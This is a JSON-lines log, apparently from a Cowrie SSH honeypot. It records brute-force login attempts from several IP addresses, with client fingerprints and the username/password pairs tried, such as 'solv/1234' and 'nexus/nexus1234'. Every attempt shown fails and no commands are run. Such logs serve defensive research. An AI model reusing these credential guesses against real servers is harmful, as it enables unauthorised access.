{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":38854,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7fcc7eb7ad5","protocol":"ssh","message":"New connection: 95.58.255.251:38854 (159.203.135.109:22) [session: d7fcc7eb7ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:27:41.306853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:27:41.311586Z","src_ip":"95.58.255.251","session":"d7fcc7eb7ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:27:41.481257Z","src_ip":"95.58.255.251","session":"d7fcc7eb7ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus1234","message":"login attempt [nexus/nexus1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:27:42.193272Z","src_ip":"95.58.255.251","session":"d7fcc7eb7ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40778,"dst_ip":"159.203.135.109","dst_port":22,"session":"61c4de5b9b50","protocol":"ssh","message":"New connection: 2.57.122.238:40778 (159.203.135.109:22) [session: 61c4de5b9b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:27:42.834321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:27:42.842929Z","src_ip":"2.57.122.238","session":"61c4de5b9b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:27:42.941980Z","src_ip":"2.57.122.238","session":"61c4de5b9b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:27:43.238438Z","src_ip":"2.57.122.238","session":"61c4de5b9b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:27:43.364678Z","src_ip":"95.58.255.251","session":"d7fcc7eb7ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:27:44.339234Z","src_ip":"2.57.122.238","session":"61c4de5b9b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":50694,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f7929f85678","protocol":"ssh","message":"New connection: 189.217.130.86:50694 (159.203.135.109:22) [session: 2f7929f85678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:28:05.846250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:28:05.851194Z","src_ip":"189.217.130.86","session":"2f7929f85678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:28:05.928982Z","src_ip":"189.217.130.86","session":"2f7929f85678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fangdaohong","password":"Fangdaohong123!","message":"login attempt [fangdaohong/Fangdaohong123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:28:06.267446Z","src_ip":"189.217.130.86","session":"2f7929f85678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:28:07.347568Z","src_ip":"189.217.130.86","session":"2f7929f85678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":36240,"dst_ip":"159.203.135.109","dst_port":22,"session":"58974d872a6e","protocol":"ssh","message":"New connection: 103.231.14.54:36240 (159.203.135.109:22) [session: 58974d872a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:28:31.354322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:28:31.358081Z","src_ip":"103.231.14.54","session":"58974d872a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:28:31.587373Z","src_ip":"103.231.14.54","session":"58974d872a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rodrigo","password":"123","message":"login attempt [rodrigo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:28:32.541711Z","src_ip":"103.231.14.54","session":"58974d872a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:28:33.775917Z","src_ip":"103.231.14.54","session":"58974d872a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.178.16.179","src_port":49012,"dst_ip":"159.203.135.109","dst_port":22,"session":"f72a03936fa5","protocol":"ssh","message":"New connection: 172.178.16.179:49012 (159.203.135.109:22) [session: f72a03936fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:00.052871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:00.183728Z","src_ip":"172.178.16.179","session":"f72a03936fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:01.467003Z","src_ip":"172.178.16.179","session":"f72a03936fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"site2030","password":"site20301234","message":"login attempt [site2030/site20301234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:04.199782Z","src_ip":"172.178.16.179","session":"f72a03936fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:05.236956Z","src_ip":"172.178.16.179","session":"f72a03936fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":47936,"dst_ip":"159.203.135.109","dst_port":22,"session":"17940fa7f1e5","protocol":"ssh","message":"New connection: 95.58.255.251:47936 (159.203.135.109:22) [session: 17940fa7f1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:35.543158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:35.547919Z","src_ip":"95.58.255.251","session":"17940fa7f1e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:35.729153Z","src_ip":"95.58.255.251","session":"17940fa7f1e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"software","password":"software123","message":"login attempt [software/software123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:36.485805Z","src_ip":"95.58.255.251","session":"17940fa7f1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:37.670005Z","src_ip":"95.58.255.251","session":"17940fa7f1e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":32894,"dst_ip":"159.203.135.109","dst_port":22,"session":"92c2bfda9a5b","protocol":"ssh","message":"New connection: 2.57.122.238:32894 (159.203.135.109:22) [session: 92c2bfda9a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:58.124643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:58.129810Z","src_ip":"2.57.122.238","session":"92c2bfda9a5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:58.224792Z","src_ip":"2.57.122.238","session":"92c2bfda9a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:58.509969Z","src_ip":"2.57.122.238","session":"92c2bfda9a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:29:59.607126Z","src_ip":"2.57.122.238","session":"92c2bfda9a5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":13891,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc0ca1673802","protocol":"ssh","message":"New connection: 189.217.130.86:13891 (159.203.135.109:22) [session: bc0ca1673802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:19.139812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:19.145521Z","src_ip":"189.217.130.86","session":"bc0ca1673802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:19.222450Z","src_ip":"189.217.130.86","session":"bc0ca1673802","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andre","password":"andrepass","message":"login attempt [andre/andrepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:19.559213Z","src_ip":"189.217.130.86","session":"bc0ca1673802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:20.637780Z","src_ip":"189.217.130.86","session":"bc0ca1673802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":51494,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d59c3fd4f91","protocol":"ssh","message":"New connection: 103.231.14.54:51494 (159.203.135.109:22) [session: 2d59c3fd4f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:24.505421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:24.509630Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:30:24.734279Z","src_ip":"103.231.14.54","session":"2d59c3fd4f91","protocol":"ssh"}
